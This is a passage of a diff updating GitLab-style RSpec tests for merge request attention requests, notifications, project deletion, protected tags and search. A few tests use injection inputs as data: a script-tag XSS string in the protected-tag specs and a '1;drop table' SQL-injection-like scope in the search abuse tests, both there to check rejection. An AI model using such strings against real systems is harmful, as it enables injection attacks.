@@ -59,6 +64,20 @@ RSpec.describe MergeRequests::ToggleAttentionRequestedService do
service.execute
end
+
+ it 'sends email to reviewer' do
+ expect(notification_service).to receive_message_chain(:async, :attention_requested_of_merge_request).with(merge_request, current_user, user)
+
+ service.execute
+ end
+
+ it 'removes attention requested state' do
+ expect(MergeRequests::RemoveAttentionRequestedService).to receive(:new)
+ .with(project: project, current_user: current_user, merge_request: merge_request, user: current_user)
+ .and_call_original
+
+ service.execute
+ end
end
context 'assignee exists' do
@@ -84,6 +103,20 @@ RSpec.describe MergeRequests::ToggleAttentionRequestedService do
service.execute
end
+
+ it 'creates a request attention system note' do
+ expect(SystemNoteService).to receive(:request_attention).with(merge_request, merge_request.project, current_user, assignee_user)
+
+ service.execute
+ end
+
+ it 'removes attention requested state' do
+ expect(MergeRequests::RemoveAttentionRequestedService).to receive(:new)
+ .with(project: project, current_user: current_user, merge_request: merge_request, user: current_user)
+ .and_call_original
+
+ service.execute
+ end
end
context 'assignee is the same as reviewer' do
@@ -123,6 +156,12 @@ RSpec.describe MergeRequests::ToggleAttentionRequestedService do
service.execute
end
+
+ it 'creates a remove attention request system note' do
+ expect(SystemNoteService).to receive(:remove_attention_request).with(merge_request, merge_request.project, current_user, user)
+
+ service.execute
+ end
end
end
end
diff --git a/spec/services/notification_service_spec.rb b/spec/services/notification_service_spec.rb
index fbf5b183365..24775ce06a4 100644
--- a/spec/services/notification_service_spec.rb
+++ b/spec/services/notification_service_spec.rb
@@ -2425,6 +2425,45 @@ RSpec.describe NotificationService, :mailer do
let(:notification_trigger) { notification.review_requested_of_merge_request(merge_request, current_user, reviewer) }
end
end
+
+ describe '#attention_requested_of_merge_request' do
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:reviewer) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project, reviewers: [reviewer]) }
+
+ it 'sends email to reviewer', :aggregate_failures do
+ notification.attention_requested_of_merge_request(merge_request, current_user, reviewer)
+
+ merge_request.reviewers.each { |reviewer| should_email(reviewer) }
+ should_not_email(merge_request.author)
+ should_not_email(@u_watcher)
+ should_not_email(@u_participant_mentioned)
+ should_not_email(@subscriber)
+ should_not_email(@watcher_and_subscriber)
+ should_not_email(@u_guest_watcher)
+ should_not_email(@u_guest_custom)
+ should_not_email(@u_custom_global)
+ should_not_email(@unsubscriber)
+ should_not_email(@u_participating)
+ should_not_email(@u_disabled)
+ should_not_email(@u_lazy_participant)
+ end
+
+ it 'adds "attention requested" reason' do
+ notification.attention_requested_of_merge_request(merge_request, current_user, [reviewer])
+
+ merge_request.reviewers.each do |reviewer|
+ email = find_email_for(reviewer)
+
+ expect(email).to have_header('X-GitLab-NotificationReason', NotificationReason::ATTENTION_REQUESTED)
+ end
+ end
+
+ it_behaves_like 'project emails are disabled' do
+ let(:notification_target) { merge_request }
+ let(:notification_trigger) { notification.attention_requested_of_merge_request(merge_request, current_user, reviewer) }
+ end
+ end
end
describe 'Projects', :deliver_mails_inline do
diff --git a/spec/services/packages/debian/update_distribution_service_spec.rb b/spec/services/packages/debian/update_distribution_service_spec.rb
index 2aa34a62111..3dff2754cec 100644
--- a/spec/services/packages/debian/update_distribution_service_spec.rb
+++ b/spec/services/packages/debian/update_distribution_service_spec.rb
@@ -61,9 +61,9 @@ RSpec.describe Packages::Debian::UpdateDistributionService do
let_it_be(:architecture0) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'all') }
let_it_be(:architecture1) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'architecture1') }
let_it_be(:architecture2) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'architecture2') }
- let_it_be(:component_file1) { create("debian_#{container_type}_component_file", :source, component: component1) }
+ let_it_be(:component_file1) { create("debian_#{container_type}_component_file", :sources, component: component1) }
let_it_be(:component_file2) { create("debian_#{container_type}_component_file", component: component1, architecture: architecture1) }
- let_it_be(:component_file3) { create("debian_#{container_type}_component_file", :source, component: component2) }
+ let_it_be(:component_file3) { create("debian_#{container_type}_component_file", :sources, component: component2) }
let_it_be(:component_file4) { create("debian_#{container_type}_component_file", component: component2, architecture: architecture2) }
let(:original_params) do
diff --git a/spec/services/packages/npm/create_package_service_spec.rb b/spec/services/packages/npm/create_package_service_spec.rb
index b1beb2adb3b..3bb675058df 100644
--- a/spec/services/packages/npm/create_package_service_spec.rb
+++ b/spec/services/packages/npm/create_package_service_spec.rb
@@ -89,17 +89,6 @@ RSpec.describe Packages::Npm::CreatePackageService do
end
end
end
-
- context 'with packages_npm_abbreviated_metadata disabled' do
- before do
- stub_feature_flags(packages_npm_abbreviated_metadata: false)
- end
-
- it 'creates a package without metadatum' do
- expect { subject }
- .not_to change { Packages::Npm::Metadatum.count }
- end
- end
end
describe '#execute' do
diff --git a/spec/services/projects/destroy_service_spec.rb b/spec/services/projects/destroy_service_spec.rb
index ac84614121a..b22f276ee1f 100644
--- a/spec/services/projects/destroy_service_spec.rb
+++ b/spec/services/projects/destroy_service_spec.rb
@@ -55,48 +55,16 @@ RSpec.describe Projects::DestroyService, :aggregate_failures do
.and change { Ci::Pipeline.count }.by(-1)
end
- context 'with abort_deleted_project_pipelines disabled' do
- stub_feature_flags(abort_deleted_project_pipelines: false)
+ it 'avoids N+1 queries' do
+ recorder = ActiveRecord::QueryRecorder.new { destroy_project(project, user, {}) }
- it 'avoids N+1 queries' do
- recorder = ActiveRecord::QueryRecorder.new { destroy_project(project, user, {}) }
+ project = create(:project, :repository, namespace: user.namespace)
+ pipeline = create(:ci_pipeline, project: project)
+ builds = create_list(:ci_build, 3, :artifacts, pipeline: pipeline)
+ create(:ci_pipeline_artifact, pipeline: pipeline)
+ create_list(:ci_build_trace_chunk, 3, build: builds[0])
- project = create(:project, :repository, namespace: user.namespace)
- pipeline = create(:ci_pipeline, project: project)
- builds = create_list(:ci_build, 3, :artifacts, pipeline: pipeline)
- create(:ci_pipeline_artifact, pipeline: pipeline)
- create_list(:ci_build_trace_chunk, 3, build: builds[0])
-
- expect { destroy_project(project, project.owner, {}) }.not_to exceed_query_limit(recorder)
- end
- end
-
- context 'with ci_optimize_project_records_destruction disabled' do
- stub_feature_flags(ci_optimize_project_records_destruction: false)
-
- it 'avoids N+1 queries' do
- recorder = ActiveRecord::QueryRecorder.new { destroy_project(project, user, {}) }
-
- project = create(:project, :repository, namespace: user.namespace)
- pipeline = create(:ci_pipeline, project: project)
- builds = create_list(:ci_build, 3, :artifacts, pipeline: pipeline)
- create_list(:ci_build_trace_chunk, 3, build: builds[0])
-
- expect { destroy_project(project, project.owner, {}) }.not_to exceed_query_limit(recorder)
- end
- end
-
- context 'with ci_optimize_project_records_destruction and abort_deleted_project_pipelines enabled' do
- it 'avoids N+1 queries' do
- recorder = ActiveRecord::QueryRecorder.new { destroy_project(project, user, {}) }
-
- project = create(:project, :repository, namespace: user.namespace)
- pipeline = create(:ci_pipeline, project: project)
- builds = create_list(:ci_build, 3, :artifacts, pipeline: pipeline)
- create_list(:ci_build_trace_chunk, 3, build: builds[0])
-
- expect { destroy_project(project, project.owner, {}) }.not_to exceed_query_limit(recorder)
- end
+ expect { destroy_project(project, project.owner, {}) }.not_to exceed_query_limit(recorder)
end
it_behaves_like 'deleting the project'
@@ -132,64 +100,22 @@ RSpec.describe Projects::DestroyService, :aggregate_failures do
destroy_project(project, user, {})
end
- context 'with abort_deleted_project_pipelines feature disabled' do
- before do
- stub_feature_flags(abort_deleted_project_pipelines: false)
- end
-
- it 'does not bulk-fail project ci pipelines' do
- expect(::Ci::AbortPipelinesService).not_to receive(:new)
-
- destroy_project(project, user, {})
- end
-
- it 'does not destroy CI records via DestroyPipelineService' do
- expect(::Ci::DestroyPipelineService).not_to receive(:new)
-
- destroy_project(project, user, {})
- end
- end
-
- context 'with abort_deleted_project_pipelines feature enabled' do
+ context 'with running pipelines' do
let!(:pipelines) { create_list(:ci_pipeline, 3, :running, project: project) }
let(:destroy_pipeline_service) { double('DestroyPipelineService', execute: nil) }
- context 'with ci_optimize_project_records_destruction disabled' do
- before do
- stub_feature_flags(ci_optimize_project_records_destruction: false)
- end
-
- it 'bulk-fails project ci pipelines' do
- expect(::Ci::AbortPipelinesService)
- .to receive_message_chain(:new, :execute)
- .with(project.all_pipelines, :project_deleted)
-
- destroy_project(project, user, {})
- end
+ it 'bulks-fails with AbortPipelineService and then executes DestroyPipelineService for each pipelines' do
+ allow(::Ci::DestroyPipelineService).to receive(:new).and_return(destroy_pipeline_service)
- it 'does not destroy CI records via DestroyPipelineService' do
- expect(::Ci::DestroyPipelineService).not_to receive(:new)
+ expect(::Ci::AbortPipelinesService)
+ .to receive_message_chain(:new, :execute)
+ .with(project.all_pipelines, :project_deleted)
- destroy_project(project, user, {})
+ pipelines.each do |pipeline|
+ expect(destroy_pipeline_service).to receive(:execute).with(pipeline)
end
- end
-
- context 'with ci_optimize_project_records_destruction enabled' do
- it 'executes DestroyPipelineService for project ci pipelines' do
- allow(::Ci::DestroyPipelineService).to receive(:new).and_return(destroy_pipeline_service)
- expect(::Ci::AbortPipelinesService)
- .to receive_message_chain(:new, :execute)
- .with(project.all_pipelines, :project_deleted)
-
- pipelines.each do |pipeline|
- expect(destroy_pipeline_service)
- .to receive(:execute)
- .with(pipeline)
- end
-
- destroy_project(project, user, {})
- end
+ destroy_project(project, user, {})
end
end
@@ -545,6 +471,27 @@ RSpec.describe Projects::DestroyService, :aggregate_failures do
end
end
+ context 'when project has events' do
+ let!(:event) { create(:event, :created, project: project, target: project, author: user) }
+
+ it 'deletes events from the project' do
+ expect do
+ destroy_project(project, user)
+ end.to change(Event, :count).by(-1)
+ end
+
+ context 'when an error is returned while deleting events' do
+ it 'does not delete project' do
+ allow_next_instance_of(Events::DestroyService) do |instance|
+ allow(instance).to receive(:execute).and_return(ServiceResponse.error(message: 'foo'))
+ end
+
+ expect(destroy_project(project, user)).to be_falsey
+ expect(project.delete_error).to include('Failed to remove events')
+ end
+ end
+ end
+
context 'error while destroying', :sidekiq_inline do
let!(:pipeline) { create(:ci_pipeline, project: project) }
let!(:builds) { create_list(:ci_build, 2, :artifacts, pipeline: pipeline) }
diff --git a/spec/services/projects/prometheus/alerts/create_service_spec.rb b/spec/services/projects/prometheus/alerts/create_service_spec.rb
index c0bc9336558..6b9d43e4e81 100644
--- a/spec/services/projects/prometheus/alerts/create_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/create_service_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Projects::Prometheus::Alerts::CreateService do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
- let(:service) { described_class.new(project, user, params) }
+ let(:service) { described_class.new(project: project, current_user: user, params: params) }
subject { service.execute }
diff --git a/spec/services/projects/prometheus/alerts/destroy_service_spec.rb b/spec/services/projects/prometheus/alerts/destroy_service_spec.rb
index 573711051b7..a3e9c3516c2 100644
--- a/spec/services/projects/prometheus/alerts/destroy_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/destroy_service_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Projects::Prometheus::Alerts::DestroyService do
let_it_be(:user) { create(:user) }
let_it_be(:alert) { create(:prometheus_alert, project: project) }
- let(:service) { described_class.new(project, user, nil) }
+ let(:service) { described_class.new(project: project, current_user: user, params: nil) }
describe '#execute' do
subject { service.execute(alert) }
diff --git a/spec/services/projects/prometheus/alerts/update_service_spec.rb b/spec/services/projects/prometheus/alerts/update_service_spec.rb
index e831d001838..ec6766221f6 100644
--- a/spec/services/projects/prometheus/alerts/update_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/update_service_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Projects::Prometheus::Alerts::UpdateService do
create(:prometheus_alert, project: project, environment: environment)
end
- let(:service) { described_class.new(project, user, params) }
+ let(:service) { described_class.new(project: project, current_user: user, params: params) }
let(:params) do
{
diff --git a/spec/services/projects/transfer_service_spec.rb b/spec/services/projects/transfer_service_spec.rb
index c47d44002cc..ddd16100b40 100644
--- a/spec/services/projects/transfer_service_spec.rb
+++ b/spec/services/projects/transfer_service_spec.rb
@@ -169,7 +169,7 @@ RSpec.describe Projects::TransferService do
end
end
- context 'when project has pending builds' do
+ context 'when project has pending builds', :sidekiq_inline do
let!(:other_project) { create(:project) }
let!(:pending_build) { create(:ci_pending_build, project: project.reload) }
let!(:unrelated_pending_build) { create(:ci_pending_build, project: other_project) }
@@ -251,7 +251,7 @@ RSpec.describe Projects::TransferService do
)
end
- context 'when project has pending builds' do
+ context 'when project has pending builds', :sidekiq_inline do
let!(:other_project) { create(:project) }
let!(:pending_build) { create(:ci_pending_build, project: project.reload) }
let!(:unrelated_pending_build) { create(:ci_pending_build, project: other_project) }
diff --git a/spec/services/protected_tags/create_service_spec.rb b/spec/services/protected_tags/create_service_spec.rb
index e85a43eb51c..3d06cc9fb6c 100644
--- a/spec/services/protected_tags/create_service_spec.rb
+++ b/spec/services/protected_tags/create_service_spec.rb
@@ -7,17 +7,54 @@ RSpec.describe ProtectedTags::CreateService do
let(:user) { project.owner }
let(:params) do
{
- name: 'master',
+ name: name,
create_access_levels_attributes: [{ access_level: Gitlab::Access::MAINTAINER }]
}
end
describe '#execute' do
+ let(:name) { 'tag' }
+
subject(:service) { described_class.new(project, user, params) }
it 'creates a new protected tag' do
expect { service.execute }.to change(ProtectedTag, :count).by(1)
expect(project.protected_tags.last.create_access_levels.map(&:access_level)).to eq([Gitlab::Access::MAINTAINER])
end
+
+ context 'when name has escaped HTML' do
+ let(:name) { 'tag-&gt;test' }
+
+ it 'creates the new protected tag matching the unescaped version' do
+ expect { service.execute }.to change(ProtectedTag, :count).by(1)
+ expect(project.protected_tags.last.name).to eq('tag->test')
+ end
+
+ context 'and name contains HTML tags' do
+ let(:name) { '&lt;b&gt;tag&lt;/b&gt;' }
+
+ it 'creates the new protected tag with sanitized name' do
+ expect { service.execute }.to change(ProtectedTag, :count).by(1)
+ expect(project.protected_tags.last.name).to eq('tag')
+ end
+
+ context 'and contains unsafe HTML' do
+ let(:name) { '&lt;script&gt;alert(&#39;foo&#39;);&lt;/script&gt;' }
+
+ it 'does not create the new protected tag' do
+ expect { service.execute }.not_to change(ProtectedTag, :count)
+ end
+ end
+ end
+
+ context 'when name contains unescaped HTML tags' do
+ let(:name) { '<b>tag</b>' }
+
+ it 'creates the new protected tag with sanitized name' do
+ expect { service.execute }.to change(ProtectedTag, :count).by(1)
+ expect(project.protected_tags.last.name).to eq('tag')
+ end
+ end
+ end
end
end
diff --git a/spec/services/protected_tags/update_service_spec.rb b/spec/services/protected_tags/update_service_spec.rb
index ed151ca2347..22005bb9b89 100644
--- a/spec/services/protected_tags/update_service_spec.rb
+++ b/spec/services/protected_tags/update_service_spec.rb
@@ -6,17 +6,50 @@ RSpec.describe ProtectedTags::UpdateService do
let(:protected_tag) { create(:protected_tag) }
let(:project) { protected_tag.project }
let(:user) { project.owner }
- let(:params) { { name: 'new protected tag name' } }
+ let(:params) { { name: new_name } }
describe '#execute' do
+ let(:new_name) { 'new protected tag name' }
+ let(:result) { service.execute(protected_tag) }
+
subject(:service) { described_class.new(project, user, params) }
it 'updates a protected tag' do
- result = service.execute(protected_tag)
-
expect(result.reload.name).to eq(params[:name])
end
+ context 'when name has escaped HTML' do
+ let(:new_name) { 'tag-&gt;test' }
+
+ it 'updates protected tag name with unescaped HTML' do
+ expect(result.reload.name).to eq('tag->test')
+ end
+
+ context 'and name contains HTML tags' do
+ let(:new_name) { '&lt;b&gt;tag&lt;/b&gt;' }
+
+ it 'updates protected tag name with sanitized name' do
+ expect(result.reload.name).to eq('tag')
+ end
+
+ context 'and contains unsafe HTML' do
+ let(:new_name) { '&lt;script&gt;alert(&#39;foo&#39;);&lt;/script&gt;' }
+
+ it 'does not update the protected tag' do
+ expect(result.reload.name).to eq(protected_tag.name)
+ end
+ end
+ end
+ end
+
+ context 'when name contains unescaped HTML tags' do
+ let(:new_name) { '<b>tag</b>' }
+
+ it 'updates protected tag name with sanitized name' do
+ expect(result.reload.name).to eq('tag')
+ end
+ end
+
context 'without admin_project permissions' do
let(:user) { create(:user) }
diff --git a/spec/services/quick_actions/interpret_service_spec.rb b/spec/services/quick_actions/interpret_service_spec.rb
index 611261cd92c..77d263f4b70 100644
--- a/spec/services/quick_actions/interpret_service_spec.rb
+++ b/spec/services/quick_actions/interpret_service_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe QuickActions::InterpretService do
- let_it_be(:public_project) { create(:project, :public) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:public_project) { create(:project, :public, group: group) }
let_it_be(:repository_project) { create(:project, :repository) }
let_it_be(:project) { public_project }
let_it_be(:developer) { create(:user) }
@@ -2233,6 +2234,51 @@ RSpec.describe QuickActions::InterpretService do
end
end
end
+
+ context 'crm_contact commands' do
+ let_it_be(:new_contact) { create(:contact, group: group) }
+ let_it_be(:existing_contact) { create(:contact, group: group) }
+
+ let(:add_command) { service.execute("/add_contacts #{new_contact.email}", issue) }
+ let(:remove_command) { service.execute("/remove_contacts #{existing_contact.email}", issue) }
+
+ before do
+ issue.project.group.add_developer(developer)
+ create(:issue_customer_relations_contact, issue: issue, contact: existing_contact)
+ end
+
+ context 'with feature flag disabled' do
+ before do
+ stub_feature_flags(customer_relations: false)
+ end
+
+ it 'add_contacts command does not add the contact' do
+ _, updates, _ = add_command
+
+ expect(updates).to be_empty
+ end
+
+ it 'remove_contacts command does not remove the contact' do
+ _, updates, _ = remove_command
+
+ expect(updates).to be_empty
+ end
+ end
+
+ it 'add_contacts command adds the contact' do
+ _, updates, message = add_command
+
+ expect(updates).to eq(add_contacts: [new_contact.email])
+ expect(message).to eq('One or more contacts were successfully added.')
+ end
+
+ it 'remove_contacts command removes the contact' do
+ _, updates, message = remove_command
+
+ expect(updates).to eq(remove_contacts: [existing_contact.email])
+ expect(message).to eq('One or more contacts were successfully removed.')
+ end
+ end
end
describe '#explain' do
diff --git a/spec/services/repositories/changelog_service_spec.rb b/spec/services/repositories/changelog_service_spec.rb
index b547ae17317..ddb8e7e1182 100644
--- a/spec/services/repositories/changelog_service_spec.rb
+++ b/spec/services/repositories/changelog_service_spec.rb
@@ -61,6 +61,8 @@ RSpec.describe Repositories::ChangelogService do
let!(:commit2) { project.commit(sha3) }
let!(:commit3) { project.commit(sha4) }
+ let(:commit_to_changelog) { true }
+
it 'generates and commits a changelog section' do
allow(MergeRequestDiffCommit)
.to receive(:oldest_merge_request_id_per_commit)
@@ -73,7 +75,7 @@ RSpec.describe Repositories::ChangelogService do
service = described_class
.new(project, creator, version: '1.0.0', from: sha1, to: sha3)
- recorder = ActiveRecord::QueryRecorder.new { service.execute }
+ recorder = ActiveRecord::QueryRecorder.new { service.execute(commit_to_changelog: commit_to_changelog) }
changelog = project.repository.blob_at('master', 'CHANGELOG.md')&.data
expect(recorder.count).to eq(9)
@@ -90,7 +92,7 @@ RSpec.describe Repositories::ChangelogService do
described_class
.new(project, creator, version: '1.0.0', from: sha1)
- .execute
+ .execute(commit_to_changelog: commit_to_changelog)
changelog = project.repository.blob_at('master', 'CHANGELOG.md')&.data
@@ -108,7 +110,7 @@ RSpec.describe Repositories::ChangelogService do
described_class
.new(project, creator, version: '1.0.0', from: sha1)
- .execute
+ .execute(commit_to_changelog: commit_to_changelog)
changelog = project.repository.blob_at('master', 'CHANGELOG.md')&.data
@@ -119,12 +121,33 @@ RSpec.describe Repositories::ChangelogService do
it 'uses the target branch when "to" is unspecified' do
described_class
.new(project, creator, version: '1.0.0', from: sha1)
- .execute
+ .execute(commit_to_changelog: commit_to_changelog)
changelog = project.repository.blob_at('master', 'CHANGELOG.md')&.data
expect(changelog).to include('Title 1', 'Title 2', 'Title 3')
end
+
+ describe 'with commit_to_changelog: false' do
+ let(:commit_to_changelog) { false }
+
+ it 'generates changelog section' do
+ allow(MergeRequestDiffCommit)
+ .to receive(:oldest_merge_request_id_per_commit)
+ .with(project.id, [commit2.id, commit1.id])
+ .and_return([
+ { sha: sha2, merge_request_id: mr1.id },
+ { sha: sha3, merge_request_id: mr2.id }
+ ])
+
+ service = described_class
+ .new(project, creator, version: '1.0.0', from: sha1, to: sha3)
+
+ changelog = service.execute(commit_to_changelog: commit_to_changelog)
+
+ expect(changelog).to include('Title 1', 'Title 2')
+ end
+ end
end
describe '#start_of_commit_range' do
diff --git a/spec/services/search_service_spec.rb b/spec/services/search_service_spec.rb
index 40fb257b23e..d7a36ff370e 100644
--- a/spec/services/search_service_spec.rb
+++ b/spec/services/search_service_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe SearchService do
let(:page) { 1 }
let(:per_page) { described_class::DEFAULT_PER_PAGE }
+ let(:valid_search) { "what is love?" }
subject(:search_service) { described_class.new(user, search: search, scope: scope, page: page, per_page: per_page) }
@@ -30,7 +31,7 @@ RSpec.describe SearchService do
describe '#project' do
context 'when the project is accessible' do
it 'returns the project' do
- project = described_class.new(user, project_id: accessible_project.id).project
+ project = described_class.new(user, project_id: accessible_project.id, search: valid_search).project
expect(project).to eq accessible_project
end
@@ -39,7 +40,7 @@ RSpec.describe SearchService do
search_project = create :project
search_project.add_guest(user)
- project = described_class.new(user, project_id: search_project.id).project
+ project = described_class.new(user, project_id: search_project.id, search: valid_search).project
expect(project).to eq search_project
end
@@ -47,7 +48,7 @@ RSpec.describe SearchService do
context 'when the project is not accessible' do
it 'returns nil' do
- project = described_class.new(user, project_id: inaccessible_project.id).project
+ project = described_class.new(user, project_id: inaccessible_project.id, search: valid_search).project
expect(project).to be_nil
end
@@ -55,7 +56,7 @@ RSpec.describe SearchService do
context 'when there is no project_id' do
it 'returns nil' do
- project = described_class.new(user).project
+ project = described_class.new(user, search: valid_search).project
expect(project).to be_nil
end
@@ -65,7 +66,7 @@ RSpec.describe SearchService do
describe '#group' do
context 'when the group is accessible' do
it 'returns the group' do
- group = described_class.new(user, group_id: accessible_group.id).group
+ group = described_class.new(user, group_id: accessible_group.id, search: valid_search).group
expect(group).to eq accessible_group
end
@@ -73,7 +74,7 @@ RSpec.describe SearchService do
context 'when the group is not accessible' do
it 'returns nil' do
- group = described_class.new(user, group_id: inaccessible_group.id).group
+ group = described_class.new(user, group_id: inaccessible_group.id, search: valid_search).group
expect(group).to be_nil
end
@@ -81,7 +82,7 @@ RSpec.describe SearchService do
context 'when there is no group_id' do
it 'returns nil' do
- group = described_class.new(user).group
+ group = described_class.new(user, search: valid_search).group
expect(group).to be_nil
end
@@ -118,7 +119,7 @@ RSpec.describe SearchService do
context 'with accessible project_id' do
context 'and allowed scope' do
it 'returns the specified scope' do
- scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes').scope
+ scope = described_class.new(user, project_id: accessible_project.id, scope: 'notes', search: valid_search).scope
expect(scope).to eq 'notes'
end
@@ -126,7 +127,7 @@ RSpec.describe SearchService do
context 'and disallowed scope' do
it 'returns the default scope' do
- scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects').scope
+ scope = described_class.new(user, project_id: accessible_project.id, scope: 'projects', search: valid_search).scope
expect(scope).to eq 'blobs'
end
@@ -134,7 +135,7 @@ RSpec.describe SearchService do
context 'and no scope' do
it 'returns the default scope' do
- scope = described_class.new(user, project_id: accessible_project.id).scope
+ scope = described_class.new(user, project_id: accessible_project.id, search: valid_search).scope
expect(scope).to eq 'blobs'
end
@@ -552,4 +553,87 @@ RSpec.describe SearchService do
end
end
end
+
+ describe '#valid_request?' do
+ let(:scope) { 'issues' }
+ let(:search) { 'foobar' }
+ let(:params) { instance_double(Gitlab::Search::Params) }
+
+ before do
+ allow(Gitlab::Search::Params).to receive(:new).and_return(params)
+ allow(params).to receive(:valid?).and_return double(:valid?)
+ end
+
+ it 'is the return value of params.valid?' do
+ expect(subject.valid_request?).to eq(params.valid?)
+ end
+ end
+
+ describe '#abuse_messages' do
+ let(:scope) { 'issues' }
+ let(:search) { 'foobar' }
+ let(:params) { instance_double(Gitlab::Search::Params) }
+
+ before do
+ allow(Gitlab::Search::Params).to receive(:new).and_return(params)
+ end
+
+ it 'returns an empty array when not abusive' do
+ allow(params).to receive(:abusive?).and_return false
+ expect(subject.abuse_messages).to match_array([])
+ end
+
+ it 'calls on abuse_detection.errors.full_messages when abusive' do
+ allow(params).to receive(:abusive?).and_return true
+ expect(params).to receive_message_chain(:abuse_detection, :errors, :full_messages)
+ subject.abuse_messages
+ end
+ end
+
+ describe 'abusive search handling' do
+ subject { described_class.new(user, raw_params) }
+
+ let(:raw_params) { { search: search, scope: scope } }
+ let(:search) { 'foobar' }
+
+ let(:search_service) { double(:search_service) }
+
+ before do
+ stub_feature_flags(prevent_abusive_searches: should_detect_abuse)
+ expect(Gitlab::Search::Params).to receive(:new)
+ .with(raw_params, detect_abuse: should_detect_abuse).and_call_original
+
+ allow(subject).to receive(:search_service).and_return search_service
+ end
+
+ context 'when abusive search but prevent_abusive_searches FF is disabled' do
+ let(:should_detect_abuse) { false }
+ let(:scope) { '1;drop%20table' }
+
+ it 'executes search even if params are abusive' do
+ expect(search_service).to receive(:execute)
+ subject.search_results
+ end
+ end
+
+ context 'a search is abusive' do
+ let(:should_detect_abuse) { true }
+ let(:scope) { '1;drop%20table' }
+
+ it 'does NOT execute search service' do
+ expect(search_service).not_to receive(:execute)
+ subject.search_results
+ end
+ end
+
+ context 'a search is NOT abusive' do
+ let(:should_detect_abuse) { true }
+ let(:scope) { 'issues' }
+
+ it 'executes search service' do
+ expect(search_service).to receive(:execute)
+ subject.search_results
+ end
+ end
+ end
end
diff --git a/spec/services/service_ping/submit_service_ping_service_spec.rb b/spec/services/service_ping/submit_service_ping_service_spec.rb
index d8672eec682..ca387690e83 100644
--- a/spec/services/service_ping/submit_service_ping_service_spec.rb
+++ b/spec/services/service_ping/submit_service_ping_service_spec.rb
@@ -322,6 +322,25 @@ RSpec.describe ServicePing::SubmitService do
expect { subject.execute }.to raise_error(described_class::SubmissionError)
end
end
+
+ context 'when skip_db_write passed to service' do
+ let(:subject) { ServicePing::SubmitService.new(skip_db_write: true) }
+
+ before do
+ stub_response(body: with_dev_ops_score_params)
+ end
+
+ it 'does not save RawUsageData' do
+ expect { subject.execute }
+ .not_to change { RawUsageData.count }
+ end
+
+ it 'does not call DevOpsReport service' do
+ expect(ServicePing::DevopsReportService).not_to receive(:new)
+
+ subject.execute
+ end
+ end
end
describe '#url' do
diff --git a/spec/services/system_note_service_spec.rb b/spec/services/system_note_service_spec.rb
index ce0122ae301..3ec2c71b20c 100644
--- a/spec/services/system_note_service_spec.rb
+++ b/spec/services/system_note_service_spec.rb
@@ -146,6 +146,30 @@ RSpec.describe SystemNoteService do
end
end
+ describe '.request_attention' do
+ let(:user) { double }
+
+ it 'calls IssuableService' do
+ expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
+ expect(service).to receive(:request_attention).with(user)
+ end
+
+ described_class.request_attention(noteable, project, author, user)
+ end
+ end
+
+ describe '.remove_attention_request' do
+ let(:user) { double }
+
+ it 'calls IssuableService' do
+ expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
+ expect(service).to receive(:remove_attention_request).with(user)
+ end
+
+ described_class.remove_attention_request(noteable, project, author, user)
+ end
+ end
+
describe '.merge_when_pipeline_succeeds' do
it 'calls MergeRequestsService' do
sha = double
@@ -287,38 +311,38 @@ RSpec.describe SystemNoteService do
end
describe '.cross_reference' do
- let(:mentioner) { double }
+ let(:mentioned_in) { double }
it 'calls IssuableService' do
expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
- expect(service).to receive(:cross_reference).with(mentioner)
+ expect(service).to receive(:cross_reference).with(mentioned_in)
end
- described_class.cross_reference(double, mentioner, double)
+ described_class.cross_reference(double, mentioned_in, double)
end
end
describe '.cross_reference_disallowed?' do
- let(:mentioner) { double }
+ let(:mentioned_in) { double }
it 'calls IssuableService' do
expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
- expect(service).to receive(:cross_reference_disallowed?).with(mentioner)
+ expect(service).to receive(:cross_reference_disallowed?).with(mentioned_in)
end
- described_class.cross_reference_disallowed?(double, mentioner)
+ described_class.cross_reference_disallowed?(double, mentioned_in)
end
end
describe '.cross_reference_exists?' do
- let(:mentioner) { double }
+ let(:mentioned_in) { double }
it 'calls IssuableService' do
expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
- expect(service).to receive(:cross_reference_exists?).with(mentioner)
+ expect(service).to receive(:cross_reference_exists?).with(mentioned_in)
end
- described_class.cross_reference_exists?(double, mentioner)
+ described_class.cross_reference_exists?(double, mentioned_in)
end
end
diff --git a/spec/services/system_notes/commit_service_spec.rb b/spec/services/system_notes/commit_service_spec.rb
index bd6b3ec953a..0399603980d 100644
--- a/spec/services/system_notes/commit_service_spec.rb
+++ b/spec/services/system_notes/commit_service_spec.rb
@@ -57,7 +57,7 @@ RSpec.describe SystemNotes::CommitService do
end
context 'with multiple existing commits' do
- let(:old_commits) { noteable.commits[3..-1] }
+ let(:old_commits) { noteable.commits[3..] }
context 'with oldrev' do
let(:oldrev) { noteable.commits[2].id }
diff --git a/spec/services/system_notes/issuables_service_spec.rb b/spec/services/system_notes/issuables_service_spec.rb
index fd481aa6ddb..7e53e66303b 100644
--- a/spec/services/system_notes/issuables_service_spec.rb
+++ b/spec/services/system_notes/issuables_service_spec.rb
@@ -199,6 +199,42 @@ RSpec.describe ::SystemNotes::IssuablesService do
end
end
+ describe '#request_attention' do
+ subject { service.request_attention(user) }
+
+ let(:user) { create(:user) }
+
+ it_behaves_like 'a system note' do
+ let(:action) { 'attention_requested' }
+ end
+
+ context 'when attention requested' do
+ it_behaves_like 'a note with overridable created_at'
+
+ it 'sets the note text' do
+ expect(subject.note).to eq "requested attention from @#{user.username}"
+ end
+ end
+ end
+
